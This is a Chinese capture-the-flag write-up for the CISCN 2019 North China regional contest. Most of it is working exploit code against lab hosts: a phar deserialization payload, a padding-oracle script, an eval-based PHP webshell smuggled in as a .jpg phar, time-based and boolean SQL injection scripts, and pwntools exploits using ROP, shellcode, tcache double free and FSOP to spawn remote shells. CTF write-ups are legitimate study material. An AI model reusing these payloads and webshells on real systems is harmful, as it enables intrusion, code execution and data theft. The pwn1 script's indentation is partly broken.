CISCN2019华北赛区-天枢&waterflower

2019-06-13 约 1714 字 预计阅读 9 分钟

声明:本文 【CISCN2019华北赛区-天枢&waterflower】 由作者 Dubhe 于 2019-06-13 09:25:00 首发 先知社区 曾经 浏览数 728 次

感谢 Dubhe 的辛苦付出!

web

web-day1

web1

EXP
利用User的__destruct的close()调用File的close()

<?php
    class File{
        public $filename = "/flag.txt";
    }
    class User {
        public $db;
    } 
    class FileList {
        public $files;
    } 
    $o = new User();
    $o->db =new FileList();
    $o->db->files=array(new File());
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

上传文件后删除抓包,即可得到flag

web2

  1. 薅羊毛与逻辑漏洞
  2. cookie伪造
  3. python反序列化
    首先批量注册筹款。
    根据提示找到lv6的商品。
    import requests
    for i in range(2000):
     a = requests.get('http://172.1.2.2/info/{}'.format(str(i)))
     if 'lv6.png' in a.content:
         print i
    
    抓包修改折扣的参数,让我们买得起,购买成功从而获得后台路径。 http://172.1.2.2/b1g_m4mber

提示修改cookie,是个jwt,爆破一下,key是1Kun,篡改username为admin。
获得反序列化的机会。在源码中读到这个。

下载源码,找到反序列的地方。

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

反序列化读文件。

web3

获得的源码和实际服务器上代码完全不同。
有git泄露,但是没用。

在robots.txt找到备份
http://172.1.2.5/backup.zip

# -*- coding: utf-8 -*-

import sys
import string
import base64
import requests

def str_xor(a, b):
    return ''.join([chr(ord(i) ^ ord(j)) for i, j in zip(a, b)])

#base_url = "http://172.2.100.103:23232/login.php"
base_url = "http://172.1.2.5/login.php"
cookies = {
    'token': '',
    'PHPSESSID': '4cc5fdroq2lcaeiflsjm3d9ueu'
}

tmp_iv = '0' * 16
tmp_ivs = list(tmp_iv)

value = []

# 只能破解出value后15个字符
for flag in range(1, 16):
    for i in range(256):
        # brute
        tmp_ivs[15-len(value)] = chr(i)
        cookies['token'] = base64.b64encode(''.join(tmp_ivs))
        resp = requests.get(base_url, cookies=cookies)
        if 'Error' not in resp.content:
            value.append(flag ^ i)
            # 更改初始向量
            tmp_iv = '0' * (16-len(value)) + ''.join(chr(value[i] ^ (flag+1))
                                        for i in range(len(value)-1, -1, -1))
            tmp_ivs = list(tmp_iv)
            #print resp.content
            print flag, i, value
            break
        if i == 255:
            print resp.content
            print 'error'
            break

# 逆序
value.reverse()
print value
value_ = ''.join(chr(v) for v in value)
fake_id = 'onepiece' + chr(8) *8

len_ = 0

for i in range(256):
    # 爆破value 第一个字符
    token = chr(i) + value_
    iv = str_xor(token, fake_id)
    cookies['token'] = base64.b64encode(iv)
    # print cookies['token']
    resp = requests.get(base_url, cookies=cookies)

    if len_ != len(resp.content):
        print i
        print cookies
        print resp.content

    len_ = len(resp.content)

padding-oracle,代码中说把明文改成admin,结果hint说改成onepiece,汗
改对以后,admin.php还不给flag,和主办方说了才修复了环境。

web4

  1. 扫描得 hint.php
  2. index.php 返回头带有 uploadupload.php
  3. 通过 hint.php 伪协议可得全部代码
  4. 新建文件夹i,内含一t.php
    t.php 内容
    <?php
    $in=file_get_contents("php://input");
    var_dump(eval($in));
    ?>
  5. 通过 uploadupload.php 上传修改后缀为 jpg 的 phar
  6. hint.php?name=phar://file/ce5193a069bea027a60e06c57a106eb6.jpg/i/t,得到 webshell
  7. 菜刀连上获得 /flag.txt

web5

sqlmap随便找个地方一把梭,好像是手机号可以注入。
然后select load_file('/flag.txt');

还有首页有一个文件包含,可以直接读取flag。

web-day2

web1

sql注入,用elf(bool,sleep(5))可以时间盲注,用\t绕过空格的校验。

import requests
import time
url = "http://172.1.2.1/index.php"
flag = ''
while True:
    for i in range(128):
        ss = time.time()
        data = {
            'id':'''ELT(left((select    flag    from    ctf),{})='{}{}',SLEEP(1))'''.format(len(flag)+1,flag, chr(i))
        }
        #print data
        requests.post(url,data=data)
        if time.time()-ss>=0.5:
            flag += chr(i)
            print flag
            break

EXP2

import requests
import string
dic = string.digits + string.letters + "!@$%^&*()_+{}-="

url = "http://172.1.15.1/index.php"

data = {
    "id":""
}
l = 1
flag = ""
while(True):
    for i in range(256):
        # print i
        data['id'] = "IF(substr((select flag from ctf),{},1)='{}',1,2)".format(l,chr(i))
        data['id'] = data['id'].replace(" ","\n")
        resp = requests.post(url,data=data)
        # print(resp.content)
        if "first" in resp.content:
            flag += chr(i)
            print flag
            break
    l+=1

web2

  1. 访问 http://172.1.2.2/?src 得到源码
  2. 审计源码,添加了$_POST 绕过 $_REQUEST
  3. url 转义 绕过 QUERY_STRING 匹配,数组绕过 md5
  4. flag 参数用 data://text/plain,security 绕过
  5. curl -X POST \
    'http://172.1.2.2/index.php?cyber%5B%5D=123&ciscn=ciscnsec%0A&flag=data%3A%2F%2Ftext%2Fplain%2Csecurity' \
    -H 'cache-control: no-cache' \
    -H 'content-type: application/x-www-form-urlencoded' \
    -H 'postman-token: 2422f808-0e28-ea5f-7613-a84c06e1a641' \
    -d 'flag=1&cyber=1&ciscn=1'
    【注意url编码绕过】
    # pwn
    ## pwn-day1
    ### pwn1
    直接栈溢出加ROP,劫持栈到bss段上,ROP调用system getshell
    ```python
    from pwn import *

p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)

def pwn():
global p
BIN_PATH = './guess'
DEBUG = 0
ATTACH = 0
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

else:
    p = remote('172.1.2.6',8888)
    # libc = ELF('./libc_32.so.6')
    context.log_level = 'debug'
# 0x555555554000
if ATTACH==1:
    gdb.attach(p,'''
    b *0x4006a2
    b *0x4006DA
    set follow-fork-mode parent
    ''')
ru(' number.')
# sl('a'*(0x30-0x4)+p64(0x41348000)+'a'*0x100)
target = 0x601100+0x400
p_rdi_r = 0x0000000000400793
p_rsi_r15_r = 0x0000000000400791
leave_r = 0x4006DA
gets_plt = 0x400550
system_plt = 0x400530
# system_plt = 0x4006C8
payload = 'a'*(0x30-0x4)+p32(0x41348000)+p64(target)+p64(p_rdi_r)+p64(target)+p64(gets_plt)
# payload = 'a'*(0x30-0x4)+p32(0xdeadbeef)+p64(target)+p64(p_rdi_r)+p64(target)+p64(gets_plt)
payload += p64(leave_r)
sl(payload)
raw_input('ssss')

payload = p64(0xdeadbeef)+p64(p_rdi_r)+p64(target+0x50)+p64(p_rsi_r15_r)+p64(0)*2+p64(system_plt)
payload = payload.ljust(0x50,'\x00')
payload += '/bin/sh\x00'
sl(payload)
p.interactive()

if name == 'main':
pwn()

### pwn5

还是简单的栈溢出,存在rwx的段,第一次读入的shellcode字节数长度不够,可以在溢出的时候ROP调用gets往rwx段读入不受长度限制的shellcode,在跳转到shellcode执行即可getshell
```python
from pwn import *

p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)

def pwn():
    global p
    BIN_PATH = './pwn'
    DEBUG = 0
    ATTACH = 0
    context.arch = 'amd64'
    if DEBUG == 1:
        p = process(BIN_PATH)
        elf = ELF(BIN_PATH)
        context.log_level = 'debug'
        context.terminal = ['tmux', 'split', '-h']
        if context.arch == 'amd64':
            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        else:
            libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    else:
        p = remote('172.1.2.8',8888)
        # libc = ELF('./libc_32.so.6')
        context.log_level = 'debug'
    # 0x555555554000
    if ATTACH==1:
        gdb.attach(p,'''
        b *0x4006A4
        ''')
    p_rdi_r = 0x0000000000400713
    p_rsi_r15 = 0x0000000000400711
    gets_plt = 0x400510
    target = 0x601080
    payload = 'aaaa'
    info(hex(len(payload)))
    sla('name',payload)
    payload = '\x00'*0x20+p64(0xdeadbeef)+p64(p_rdi_r)+p64(target)+p64(gets_plt)+p64(target)
    sla('to me?',payload)
    raw_input('sss')
    sl(asm(shellcraft.sh()))
    p.interactive()

if __name__ == '__main__':
    pwn()

pwn2

这题的给的libc为2.29,有tcache,但是该版本的libc对tcache进行了double free的检测。(具体怎么检测的感兴趣的可以看一下源码)。
程序在delete的时候只是将标志字段设置为0,并没有将指针清零,而程序在delete和addMoney中,没有对flag标志进行检查。这样就可以修改已在tcache中的chunk的key(key与money是对应的),进而就可以double free了,然后改bss上的指针就可以了。

from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')

context.log_level = 'debug'

def create(name, age):
    p.recvuntil('Your choice: ')
    p.sendline('1')
    p.recvuntil('name:')
    p.send(name)
    p.recvuntil('age:')
    p.send(str(age))

def delete(idx):
    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.recvuntil('Index:')
    p.send(str(idx))

def edit(idx, name, age):
    p.recvuntil('Your choice: ')
    p.sendline('3')
    p.recvuntil('Index:')
    p.send(str(idx))
    p.recvuntil('name:')
    p.send(name)
    p.recvuntil('age:')
    p.send(str(age))

def show(idx):
    p.recvuntil('Your choice: ')
    p.sendline('4')
    p.recvuntil('Index:')
    p.send(str(idx))


def add(idx):
    p.recvuntil('Your choice: ')
    p.sendline('5')
    p.recvuntil('Index:')
    p.send(str(idx))

def buy(idx, addr, l):
    p.recvuntil('Your choice: ')
    p.sendline('6')
    p.recvuntil('Index:')
    p.send(str(idx))
    p.recvuntil('leak:')
    p.sendline(str(addr))
    p.recvuntil('leak:')
    p.sendline(str(l))

def GameStart(ip, port, debug):
    global p
    if debug == 1:
        p = process('./pwn')
    else:
        p = remote(ip, port)

    libc = ELF("./libc.so")
    create('emmm', 10)
    delete(0)
    add(0)
    delete(0)
    create(p64(0x602060), 10)
    create(p64(0x601FA8), 10)
    create(p64(0x601F88), 10)
    add(2)
    show(0)
    p.recvuntil('name: ')
    libc.address = u64(p.recvn(6) + '\x00' * 2) - libc.symbols['free']
    log.info('libc addr is : ' + hex(libc.address))

    edit(2, p64(libc.symbols['__free_hook']), next(libc.search('/bin/sh')))
    edit(0, p64(libc.symbols['system']), 10)
    delete(1)

    p.interactive()

if __name__ == '__main__':
    GameStart('172.1.2.7', 8888, 0)

pwn3

在创建Text类型的Note的时候,如果type不对或是size过大,程序会return,但是结构体中的两个函数指针已经被赋值为Int类型的函数指针了,而type的值还是之前保留下来的脏数据,由此可以泄露heap地址。程序还存在UAF漏洞,这样就可以double free来改Note结构体中的函数指针为plt@system,删除对应的Note即可getshell。

from pwn import *

p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)

def add(idx,typ,value,size=0):
    sla('CNote > ',str(1))
    sla('Index > ',str(idx))
    sla('Type > ',str(typ))
    if typ==1:
        sla('Value > ',str(value))
    else:
        sla('Length > ',str(size))
        if size<=0x400:
            sa('Value > ',value)
def delete(idx):
    sla('CNote > ',str(2))
    sla('Index > ',str(idx))

def show(idx):
    sla('CNote > ',str(3))
    sla('Index > ',str(idx))

def pwn():
    global p
    BIN_PATH = './torchwood'
    DEBUG = 0
    ATTACH = 0
    context.arch = 'i386'
    if DEBUG == 1:
        p = process(BIN_PATH)
        elf = ELF(BIN_PATH)
        context.log_level = 'debug'
        context.terminal = ['tmux', 'split', '-h']
        if context.arch == 'amd64':
            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        else:
            libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    else:
        p = remote('172.1.2.9',8888)
        # libc = ELF('./libc_32.so.6')
        context.log_level = 'debug'
    # 0x555555554000
    # if ATTACH==1:
    #   gdb.attach(p,'''
    #   b *0x08048AC1
    #   ''')
    # add(idx,typ,value,size=0)
    # leak heap addr
    add(0,2,'aaaa\n',0x38)
    add(1,1,0x1234)
    delete(0)
    add(2,2,'aaaa\n',0x500)
    show(2)
    ru('Value=')
    heap_addr = int(ru(')')[:-1])
    log.info('heap addr: '+hex(heap_addr))
    heap_base = heap_addr-0x18
    log.info('heap base: '+hex(heap_base))
    add(3,2,'e3pem\n',0x38)

    # double free
    payload = 'a'*0x28+p32(0)+p32(0x41)+'\n'
    add(4,2,payload,0x38)
    add(5,2,'aaaa\n',0x38)
    add(6,1,0x1234)
    delete(4)
    delete(5)
    delete(4)

    payload=p32(heap_base+0xb0)+'\n'
    add(7,2,payload,0x38)
    add(8,2,'/bin/sh\x00\n',0x38)
    add(9,2,'aaaa\n',0x38)
    delete(1)

    if ATTACH==1:
        gdb.attach(p,'''
        b *0x08048AC1
        b *0x0804895A
        ''')
    payload = '\x00'*8+p32(0)+p32(0x11)+'sh\x00\x00'+p32(0x8048500)+p32(heap_base+0xd8)+'\x41'+'\n'
    add(10,2,payload,0x38)

    delete(8)

    # add(0,1,0x1234)
    # payload = 'e3pem\n'
    # add(2,2,payload,0xa0)
    p.interactive()

if __name__ == '__main__':
    pwn()

pwn4

libc 2.23的off-by-one,程序没有开PIE。可以很方便的构造堆块重叠,进而可以改在堆中的结构体,造成任意地址写(改got表、_IO_list_all等都可以)。

from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'


def build(size, data):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil(' nest ?')
    p.sendline(str(size))
    p.recvuntil('the nest?')
    p.send(data)

def offbyone(idx, data):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(idx))
    p.recvuntil('the nest?')
    p.send(data)

def show(idx):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(idx))

def delete(idx):
    p.recvuntil('Your choice :')
    p.sendline('4')
    p.recvuntil('Index :')
    p.sendline(str(idx))

def VTCBypassOneGadget(vtable_addr, one_gadget_addr, io_list_all_addr):
    exp = p64(0) + p64(0x61) + p64(0) + p64(io_list_all_addr - 0x10)
    exp += p64(0) + p64(1) + p64(0) + p64(0) + p64(0) + p64(0) * 6 + p64(0) + p64(0) * 4
    exp += p64(0) + p64(2) + p64(3) + p64(0) + p64(0xffffffffffffffff) + p64(0) * 2 + p64(vtable_addr - 0x18) + p64(one_gadget_addr)
    return exp

def GameStart(ip, port, debug):
    global p
    if debug == 1:
        p = process('./wood', env = {'LD_PRELOAD' : './libc.so.6'})
    else:
        p = remote(ip, port)

    libc = ELF('./libc.so.6')

    build(0x10, 'emmmmm')
    build(0x10, 'emmmmm')
    delete(0)
    delete(1)

    build(0x28, 'emmmm')
    build(0xf0, 'emmmm')
    build(0xe0, 'emmmm')
    offbyone(0, '\x00' * 0x28 + '\xf1')
    delete(1)
    build(0x300, '\x00' * 0xf0 + p64(0) + p64(0xf1) + '\x00' * 0xe0 + p64(0) + p64(0x21) + '\x00' * 0x10 + p64(0) + p64(0x21))
    delete(2)
    build(0xe0, 'a' * 8)
    show(2)
    p.recvuntil('aaaaaaaa')
    libc.address = u64(p.recvn(6) + '\x00' * 2) - libc.symbols['__malloc_hook'] - 0x10 - 0x58
    log.info('libc addr is : ' + hex(libc.address))
    delete(2)
    one_gadget = 0x45216
    one_gadget = 0x4526a
    # one_gadget = 0xf02a4
    # one_gadget = 0xf02b0
    # one_gadget = 0xf1147

    offbyone(1, '\x00' * 0xf0 + VTCBypassOneGadget(libc.address + 0x3C33F8, libc.address + one_gadget, libc.symbols['_IO_list_all']))
    # gdb.attach(p)

    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil(' nest ?')
    p.sendline(str(0x100))

    p.interactive()

if __name__ == '__main__':
    GameStart('172.1.2.10', 8888, 0)

pwn-day2

pwn2

输入666即可泄露libc地址,程序在读取Author name:的时候多读了8字节,刚好覆盖了下一个字段,该字段为指针,这样就能实现任意地址写了。利用任意地址写来修改stderror结构体的vtable指针,指向我们可控的地方,exit触发虚表调用即可getshell

from pwn import *

p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)

def add(length,name):
    sla('-> ',str(1))
    sla('Length: ',str(length))
    sa('name:',name)

def pwn():
    global p
    BIN_PATH = './pwn'
    DEBUG = 0
    ATTACH = 0
    context.arch = 'amd64'
    if DEBUG == 1:
        p = process(BIN_PATH)
        elf = ELF(BIN_PATH)
        context.log_level = 'debug'
        context.terminal = ['tmux', 'split', '-h']
        if context.arch == 'amd64':
            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        else:
            libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    else:
        p = remote('172.1.2.4',8888)
        libc = ELF('./libc2.so')
        context.log_level = 'debug'
    # 0x555555554000
    if ATTACH==1:
        gdb.attach(p,'''
        b *0x555555554000+0xa77
        b *0xf30+0x555555554000
        ''')
    sla('-> \n',str(666))
    # print ru('\n')
    libc_base = int(ru('\n')[:-1],16)-libc.sym['puts']
    log.info('libc addr: '+hex(libc_base))
    # add
    payload = 'a'*8+p64(libc_base+libc.sym['_IO_2_1_stderr_'])
    add(0xe0,payload)
    sla('-> \n',str(2))
    sla('New ','e3pem')
    fake_file = ('/bin/sh\x00'+p64(0x61)+p64(0)+p64(libc.sym['_IO_list_all']-0x10)+p64(libc.sym['_IO_list_all'])+p64(libc.sym['_IO_list_all']+0x10))
    fake_file += p64(libc_base+libc.sym['_IO_2_1_stderr_']+56)+p64(0)*2+p64(libc_base+libc.sym['system'])*5+p64(0)*6+p64(0)+p64(0)*3+p64(0xffffffffffffffff)
    fake_file = fake_file.ljust(0xd8,'\x00')
    fake_file += p64(libc_base+libc.sym['_IO_2_1_stderr_']+8*6)
    payload = fake_file
    print hex(len(fake_file))
    sla('contents:\n',payload)
    ru('Over.')
    sla('-> \n',str(4))

    p.interactive()

if __name__ == '__main__':
    pwn()

pwn3

是一个逆向题目,输入24个字符,类似自动机一样处理数据。运算完之后和结果比对,若对于每个字符a,abs(a-target)<=1,就给你shell。

ida里可以提取十六进制,然后把他写个脚本转换为 long double型的数。

# coding:utf-8
from pwn import *

con = remote("172.1.2.5",8888)
con.recvuntil('Input something')

target = [224.000000,60.000000,196.000000,119.000000,127.000000,179.000000,1.000000,77.000000,173.000000,109.000000,29.000000,111.000000,195.000000,194.000000,100.000000,108.000000,1.339806,60.000000,0.640625,42.000000,260.000000,44.529411,79.000000,143.000000]

# 参数
v11 = [0x1,0x10,0x25,0x3,0x0D,0x0A,0x2,0x0B,0x28,0x2,0x14,0x3F,0x1,0x17,0x3C,0x1,0x0,0x69,0x1,0x12,0x3F,0x2,0x0E,0x77,0x3,0x15,0x53,0x2,0x0E,0x7D,0x3,0x5,0x0A,0x2,0x4,0x55,0x2,0x15,0x33,0x2,0x15,0x5,0x1,0x5,0x2F,0x3,0x7,0x43,0x1,0x11,0x39,0x3,0x0D,0x27,0x1,0x5,0x1E,0x3,0x4,0x3C,0x1,0x13,0x1E,0x3,0x1,0x78,0x1,0x0,0x20,0x2,0x0F,0x53,0x3,0x14,0x2B,0x3,0x14,0x28,0x3,0x0A,0x19,0x3,0x12,0x60,0x1,0x5,0x7E,0x3,0x0F,0x20,0x1,0x0F,0x58,0x2,0x11,0x51,0x1,0x0B,0x24,0x1,0x17,0x79,0x1,0x0E,0x4A,0x3,0x10,0x67,0x2,0x16,0x5C,0x3,0x9,0x6D,0x1,0x17,0x30,0x2,0x0A,0x2C,0x3,0x7,0x3F,0x3,0x7,0x43,0x1,0x4,0x4,0x2,0x0,0x0F,0x1,0x2,0x63,0x2,0x3,0x70,0x1,0x8,0x7B,0x2,0x6,0x14C,0x2,0x0B,0x7A,0x1,0x0C,0x0D0,0x2,0x11,0x22,0x2,0x13,0x66,0x4,0x15,0x0BB,0x4,0x12,0x80,0x4,0x10,0x67,0x4,0x1,0x0D8,0x1,0x3,0x80,0x1,0x4,0x2,0x4,0x4,0x12,0x4,0x5,0x7,0x1,0x6,0x0DA,0x4,0x7,0x43,0x4,0x7,0x43,0x4,0x7,0x5A,0x2,0x8,0x42,0x4,0x9,0x5F,0x4,0x0A,0x59,0x1,0x0B,0x79,0x2,0x0C,0x6C,0x4,0x0D,0x0C3,0x1,0x0E,0x0AF,0x4,0x0F,0x0A,0x4,0x10,0x67,0x4,0x12,0x0C0,0x4,0x14,0x2B,0x4,0x14,0x8,0x1,0x16,0x6C,0x2,0x17,0x0D3]

assert(len(target)==24)
v11.reverse()

# 三个一组
for i in range(0,232,3):
    # 反向
    op_ = v11[i+2]
    index_ = v11[i+1]
    num_ = v11[i]

    if op_ == 2:
        target[index_] += num_
    if op_ == 3:
        target[index_] /= num_
    if op_ == 4:
        target[index_] *= num_
    if op_ == 1:
        target[index_] -= num_

result = ''
for op in target:
    result += chr(int(op))
con.sendline(result)
con.interactive()

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now